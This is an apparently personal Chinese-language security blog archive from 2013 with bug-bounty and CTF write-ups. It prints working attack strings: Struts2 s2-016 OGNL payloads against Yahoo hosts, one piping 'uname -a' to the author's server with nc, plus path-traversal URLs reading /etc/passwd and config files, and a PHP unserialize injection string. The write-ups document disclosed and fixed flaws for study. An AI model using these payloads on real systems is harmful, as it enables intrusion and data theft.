2013年12月25日 星期三

MD5 for Fun - Fun with MD5 hashes


想了一下還是發個文章來記錄一下xD

----

最近在整理硬碟,
因為好玩寫了一個網站(服務?)

http://md5fun.exp.tw

收集
Maximum MD5 Hash
(F 開頭最多最大的 MD5 hash)

Minimum MD5 Hash
(0 開頭最多最小的 MD5 hash)

Funny MD5 Hashes
(好玩的 MD5 hashes,連號最多、有特殊規則等)


開放投稿:)

2013年11月24日 星期日

EXP.tw - 文章投稿、駭客資訊、資安文章








前幾天看到 .tw 域名特價中,失心瘋就買下了幾個 domain

買了之後也不知道幹嘛,

感覺 EXP.tw 那麼短可以放個什麼東西在上面,就一時興起隨手寫了個服務在上面。

寫了兩三天,順便練練寫網頁的手感 XD


目前提供的功能如下

Exploits
  • 漏洞資料庫
  • 單純 Exploit-db.com 上面的文章


Hacked
  • 被入侵網站列表
  • 資料來源 Zone-h.org
  • 資料來源 Wooyun.org


Articles
  • 比較著重在 駭客、駭客團體、資安研究員的 Blog RSS Feed 上
  • 百度 Blog 上面的資安相關文章,但是百度 Blog 不給 RSS 訂閱,上面又有許多大陸駭客、資安研究員很有質量的文章... 每次都要特地去看很麻煩就放進來了
  • 資安新聞的話可能之後會在獨立一個類別放置


Writing
  • 對於資安上面的文章發表
  • 有 科普教學、八卦爆卦、心得分享、技巧分享、好物分享、其他雜項 等
  • 歡迎投稿:)


SNS
  • 知名駭客、資安研究員的 Twitter、微博等社交網路內容,基本上很多好玩的或是八卦都是從這些地方出來的 :P


網址在

http://exp.tw/



就請各位不吝指教囉:P
( 還有歡迎投稿 XDD )


2013年11月4日 星期一

Yahoo Bug Bounty Part 2 - *.login.yahoo.com Remote Code Execution 遠端代碼執行漏洞


Yahoo 系列的 Part 2 來囉~

Bug Bounty 緣起說明以及 Part 1 請看以下鏈結
Yahoo Bug Bounty Part 1 - 台灣 Yahoo Blog 任意檔案下載漏洞


這次比較有趣,是遠端代碼執行!

有漏洞的點主要在下面兩個網站:
b.login.yahoo.com
apt.login.yahoo.com

讓我們來看看網頁長什麼樣子,

apt 似乎是 Yahoo 的線上廣告管理系統,


b 就看不出是什麼東西了XD


出問題的原因在於這兩個網站撰寫時是使用了 Struts2 這個 Java Framework,

今年七月中的時,Struts2 爆發一個嚴重的 Remote Code Execution 等級的漏洞,這個漏洞被官方編號為 s2-016
(基本上 Struts2 可以出包的地方都出過一遍了之後再出事應該也不意外...)

大致是說在 Struts2 中支援一些 Prefix 讓程式開發人員可以方便導向如 action, redirect, redirectAction 等,

但在處理這些方法時並沒有做好過濾,造成在這之中的內容可以用 ${ognl_exp} 的形式來執行 OGNL 如:
redirectAction: ${123*123}  
網站會跳轉到 /15129.action,漏洞存在代表 123*123 有被伺服器運算到!

好玩的是,官方公佈漏洞時順便把攻擊 PoC 一起釋出,等於駭客可以不用再去注意漏洞發生細節在那,可以直接開始修改 Poc 並且攻擊,

那個時期網路上風雲變色,一堆網站都來不及修補深受其害xDD

那時大陸著名漏洞回報網站 烏雲 上也一堆人在利用這個弱點洗 Rank 還滿有趣的xDD





在用剛剛的方法判斷 Yahoo 存在這個漏洞後,接著就是嘗試使用攻擊代碼嘗試執行指令,但攻擊的 Exploit 卻不能直接利用,
(想想也是拉,不然早就被一堆人玩到爆了XD)

所以不能利用的原因在哪裡呢?接下來就是研究的部分,

來感嘆一下XD

很多 Script Kiddie 只會用網路上現成的工具入侵,

但如果不確實明白原理的話很常會出現漏洞存在但工具無法使用的情況,

例如 Library 路徑的不同,網路上工具都是寫死的如
com.opensymphony.xwork2
這樣只要路徑不再預設位置上的話工具就會失敗

那要怎麼辦呢?來講個小技巧,

在無法判斷位置的情況下可以利用 #request 這個變數來看位置以及一些敏感資訊,

以這個例子來講:
redirect: ${#request}
可以看到網站轉址的地方就是 #request 變數的內容,
(看一堆東西噴出來還滿有成就感的cc)

從這裡可以看到位置是預設的沒錯,還有一些敏感資訊可以記著說不定以後會用到:P

在測試的過程中發現有特定的 pattern 會造成 Exploit 失敗,

猜測在伺服器上似乎有 Filter 或是一些其他的設定,造成 Exploit 失敗,

所以勢必得找到那些 patttern 繞過它!!

不過好在利用的是 s2-16 redirect 弱點,可以由轉址的方式來 leakge 出一些資訊判斷 Java Code 是否執行成功,所以雖然是用黑盒但可以用 Blind 的方式來進行猜測,

測試後發現,

Blind 後發現 patterns 好像有
(並不完全)
  1. 不能有逗點後的 method 
  2. 不能有雙引號
  3. 不能有些特定關鍵字


所以我們要只要繞過這些限制便可以透過去執行 Java Code 的!

所以最後是透過改寫 s2-016 繞過這些 patterns 以及 OGNL Static Method 的方式來執行指令。

最後的 PoC
redirect: ${
#_memberAccess.allowStaticMethodAccess%3dtrue,
#context[#parameters.aa]%3dfalse,
#_memberAccess.excludeProperties%3d@java.util.Collections@EMPTY_SET,
@java.lang.Thread@sleep(10000)
}
&aa=xwork.MethodAccessor.denyMethodExecution


可以讓伺服器睡十秒,
(Total Duration 那欄可以看到超過 10000 ms)


接著是執行系統指令的部分,

不過那時也凌晨三四點了,想睡覺懶得踹直接硬來把指令結果反連到自己伺服器上代表系統命令有執行成功就好XD

執行 uname -a 指令並且將結果傳回至我的伺服器上,
redirect: ${
#_memberAccess.allowStaticMethodAccess%3dtrue,
#context[#parameters.aa]%3dfalse,
#_memberAccess.excludeProperties%3d@java.util.Collections@EMPTY_SET,
@java.lang.Runtime@getRuntime().exec(new java.lang.String[]{#parameters.a1,#parameters.a2,#parameters.a3}),
}
&aa=xwork.MethodAccessor.denyMethodExecution
&a1=/bin/sh
&a2=-c
&a3=uname -a | nc orange.tw 12345


耶結案,<( ̄︶ ̄)>


Yahoo 系列應該到此結束吧!

真的是一個滿有趣的體驗的!而且 Yahoo 給的獎金真的滿有誠意的!!!XD
(只是領的方式比較繁瑣 =_=)

有機會的話以後可以來嘗試當個獎金獵人XD

最後附上個 The Bug Bounty List 給有興趣的人參考:)

2013年11月1日 星期五

Yahoo Bug Bounty Part 1 - 台灣 Yahoo Blog 任意檔案下載漏洞


Yahoo 開始有了 Bug Bounty 制度,


緣起也滿有趣的,

國外有個資安專家找到 Yahoo 的 XSS 漏洞結果回報後只得到 $12.50 Yahoo Company Store 優惠卷,

結果當然超不爽的,只好 po 個 爆料文 XDDD

結果開始各界撻伐 Yahoo 事情越演越烈,Yahoo Security Team 的 Director 只好發文解釋,
(不負責任標題翻譯: 對,我就是那個送你感謝潮T的人

內文大意整件事件的始末,

說明 Yahoo 並沒有完善的漏洞通報流程機制,
(商品卷還是自掏腰包買的)

說明會改善這個機制,會有新的獎勵機制在 10/31 公佈,並且新的機制可追溯到 7/1 號後回報漏洞的人,

並承諾會有 $150 - $15000 的 Reward
(所以至少會有 150 美金耶$_$)



當初看到時覺得挺有趣的就找了幾個問題回報 Yahoo,

Client Side 如 XSS 就算了,比較關注在 Server Side 上面的弱點,
(可以直接打進 Server 比較爽)

主要回報流程是寄到 security@yahoo-inc.com 這個信箱進行回報的動作,
(英文來來回回了好多信,英文苦手嗚嗚T_T)

經過回信確認且修補完成後來發個文章記錄一下細節,

有找過兩個弱點,預計分成兩篇文章記錄一下攻擊思路跟細節

第一篇是 台灣 Yahoo Blog 的任意檔案下載漏洞

第二篇是 *.login.yahoo.com Remote Code Execution 遠端代碼執行漏洞


其實兩個都不算少見的 Vulnerability,發現也不難,只是比起一般弱點,

第一個需要細心以及一些經驗,

第二個必須要瞭解漏洞原理並且改寫漏洞攻擊代碼



##### 正文開始 #####



Yahoo Blog 以及無名小站將於今年關閉,官方提供了一個線上備份下載的服務,

無名小站以及 Yahoo 部落格有著我國高中時期青春美好回憶,

到底這樣的服務有沒有問題呢? 讓我們繼續看下去,



點擊備份,完成後會得到一個鏈結,<username> 是自己的使用者帳號,
http://tw.download.blog.yahoo.com/eol/user_start_download.php
?filename=<username>-twblog.zip

點了可以下載
(廢話)

本著閒閒沒事找事做的心態,

<username> 的部分改成別人的使用者名稱會成功嗎?

登登,看起來失敗了 T__T

不過沒關係我們可以來研究研究,把網址改成
http://tw.download.blog.yahoo.com/eol/user_start_download.php
?filename=./<username>-twblog.zip

會怎麼樣呢?

It works
(感動T_T)

看起來是有東西可以玩玩,

踹踹 passwd
http://tw.download.blog.yahoo.com/eol/user_start_download.php
?filename=../../../../../etc/passwd
失敗T_T

不過 /tmp 下的檔案卻可以成功,
http://tw.download.blog.yahoo.com/eol/user_start_download.php
?filename=../../../../../tmp/.ICE-unix
大致先猜想有 open_basedir 之類的限制,

那換成一個逗點看看呢?
http://tw.download.blog.yahoo.com/eol/user_start_download.php
?filename=.
檔名是 user_start_download.php
大小是 8.0 KB

不過實際下載後,內容是空的,

大致可以先猜想一下程式邏輯檔名部分先取得,最後再組裝路徑去讀取,
(或者發生某些錯誤)

再把網址換成
http://tw.download.blog.yahoo.com/eol/user_start_download.php
?filename=/

檔名變成了 7fee0293d346458a97363c56378e68d5,

配合前面幾個測試,大致可以猜想程式的邏輯,

檔案存放的路徑在 <user-hash> / <username> -twblog.zip

不過似乎 zip 存放的地方與 webroot 不同,又有 open_basedir 的限制不能跳出來,

不過如果我們可以猜到 web 路徑或是 web server 的設定檔路徑,還是有機會可以繼續玩下去的!

經過一些猜測搜尋以及發揮你駭客的直覺!會發現設定檔在:
/home/y/conf/yapache/yapache.conf

直接讀了啦!!!
http://tw.download.blog.yahoo.com/eol/user_start_download.php
?filename=../../../../../home/y/conf/yapache/yapache.conf
BINGO ^____^

由於 Server 又是 Unix 或是 bsd-like 的系統,所以可以直接讀取目錄
http://tw.download.blog.yahoo.com/eol/user_start_download.php
?filename=../../../../home/y/share/htdocs/intlblogs/

最後就是讀 PHP 的 Source Code,來看一下程式邏輯到底是怎麼寫的?


$filename 從 GET 取得,沒經過檢查就放入路徑
$downloadFile = $downloadServer .$md5yuid. '/'. $filename; 

最後再丟入 fopen 進行讀取的動作 ,

$md5yuid 應該就是剛剛所說的 <user-hash>,產生方式是 md5($yuid)

$yuid 雖然不明瞭如何產生,不過在進行備份的動作時可以看到自己送出去的 yuid,

多看幾個賬號的 yuid 靠歸納法大致可以知道是

<username>#<2_bytes_random_char>
( Ex: account#gy )

看懂的應該很好寫一個下載任意帳號備份的 Proof-of-Concept 吧XD

到此結案收收寄信通報XD

八卦是程式碼裡面有看到簡體字還有表情符號滿可愛的 XDD

2013年10月5日 星期六

PHPConf 2013 投影片 - 矛盾大對決!


矛盾大對決 - 

「能入侵任何網站的駭客 vs. 絕對不會被入侵的網站」



這是我在 PHPConf 2013 與 allenown 合講的投影片








另外一份 allenown 的投影片在




2013年9月24日 星期二

這不是金盾獎T_T


Update - 2013/09/24 20:20

官方已修正此問題。

/* Update Log */




又到了一年一度的金盾獎了!

今年報名網站好像又找了新的公司來負責處理!

照著正常流程

註冊 -> 登入 -> 輸入報名資料 -> 送出 -> 列印實體報名表


沒錯,隊名是「一輩子的明太子好朋友」,會員招募中


等等!!

網址怎麼怪怪的

http://security.cisanet.org.tw/pdf.php
?foo=qoo
&bar=593

發揮你駭客的直覺, 不是插單引號啦

改個數字好像就可以看到別人的資料了誒!?
( 這組隊伍名稱好長,好像是出師表XDDDD )
( 這組同學抱歉拿你當 sample T_T )




這不太對吧 T_T

期望儘快改進,不然不敢填資料了:(

p.s. foo, bar 是化名,因為沒鎖 session 有網址不用登入帳號也可以存取...

2013年7月21日 星期日

HITCON 2013 Wargame - Pwn3d 500 詳解


之前在 tw.PyCon.org 2013 上有分享到 Django 在 SECRE_KEY 洩漏的情況有機會造成 Remote Code Execution

這個 Pwn3d 500 就是那次演講的實例
(演講投影片在 http://orange-tw.blogspot.tw/2013/05/pycon2013-slide-django.html)



Django 有個可愛的 feature 叫做 Signed Cookie

Signed Cookie 實作上是透過 Pickle 物件去儲存 Python 中的 Object 並使用 SECRE_KEY 用 sha1 + hmac 去做出 signature 判斷 COOKIE 有沒有被偽造

Django Apps 的 source code 在 Guthub

相對的 solution 如下



HITCON 2013 Wargame - Web 500 詳解


Web 500 是一題 PHP source code review 找 vuln 的題目




















scahll.phps







其實考的滿簡單的,如果對 PHP Sec 有概念的話直覺會想到 unserialize 的 object inj

利用 object inj 覆蓋 magic method(__destruct) 的 key_var 變量

繞過 md5() == '' 可以用
checksum[]=bla

繞過 safe 函數的話我不小心少寫一個 byte 所以可以用 s 大小寫置換來繞過,

不過我既然題目都已經出來了就算了XD 給你們簡單解吧!



原本繞過的方式是利用 PHP 對於 unserialize 實作的不一致來繞過

O:3:"qoo":1:{s:7:"key_var"ts:3:"Key";}


注意的 ts:3 這樣的形式 PHP unserialize 是可以接受的,有多少人是這樣解的給我說說看XDDD


這個問題有在 2012 年 12 月底的時候 ipb 漏洞出來被人探討過,

Invision Power Board 是一款滿流行的 PHP 討論版,由於在程式碼實作上會用到 unserialize

所以 ipb 寫了一個 check function 去檢查 unserialize 是否為惡意的

但由於 PHP 對 unserialize  上的實作缺陷,讓 check function 可被繞過(這點 PHP 後來有做 bug fix掉了(待確認中))

詳細細節可參考 80vul 寫的文章

http://www.80vul.com/pch/pch-010.txt

2013年7月19日 星期五

0-Day 輕鬆談 (0-Day Easy Talk) - Happy Fuzzing Internet Explorer


這是我在台灣駭客年會 Hacks in Taiwan HITCON 2013 的演講

#

0-Day 怎麼來? 
Fuzzing 做為一種尋找漏洞的方式,讓你連躺著都有 0-Day 進帳。

這是一場輕鬆的演講, 
分享一些 Fuzzer 的設計、Fuzzing 上的心得、Fuzzing Internet Explorer 上的方向。

最後為本次 HITCON 揭露一個未公開的 0-Day。

#



2013年5月26日 星期日

2013年2月23日 星期六

cve-2013-0305 Django Credit Get


人死留名,虎死留皮

紀念一下xD



原本只是想找個 Open Source 的東西來看看的,

Code Review 研究一下 Django 歷年被發現的弱點,

在追 CVE-2010-4534 時發現的另外一種利用方法


基本上需要進入管理界面才可以利用,

在真實環境利用程度很低,只是單純的 Information Leakage 而已XD



http://www.djangoproject.com/weblog/2013/feb/19/security/
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0305

>> Orange Tsai

2013年1月13日 星期日

WebConf 2013「Best Practices - The Upload」投影片


很榮幸被邀請到 WebConf 2013 分享關於 Web Security 上相關的議題

WebConf 2013 網站

第一在六、七百人的場子演講,還是在兩天最後一場議程的主會議廳,

所幸迴響還不錯,梗幾乎都有人懂發問也算踴躍太棒了 xD
(超怕會在上面沒梗自嗨>///<)

下面是這次演講的投影片(刪掉了一張不能洩漏出來的投影片:P)

主要講了上傳相關的問題
黑名單? 白名單?
文件解析漏洞
程式設計師檢測檔案類型的方法以及繞過

其實還可以在把一些相關現成 editor 的安全性放進去不過來不及XD



2013年1月7日 星期一

101 年全國大專院校資安技能金盾獎


Lag 了半個月很久這篇算是紀錄一下 xD

感覺自己越來越懶散了~"~

台科大 - 「NISRA 金盾大食團」 冠軍 again!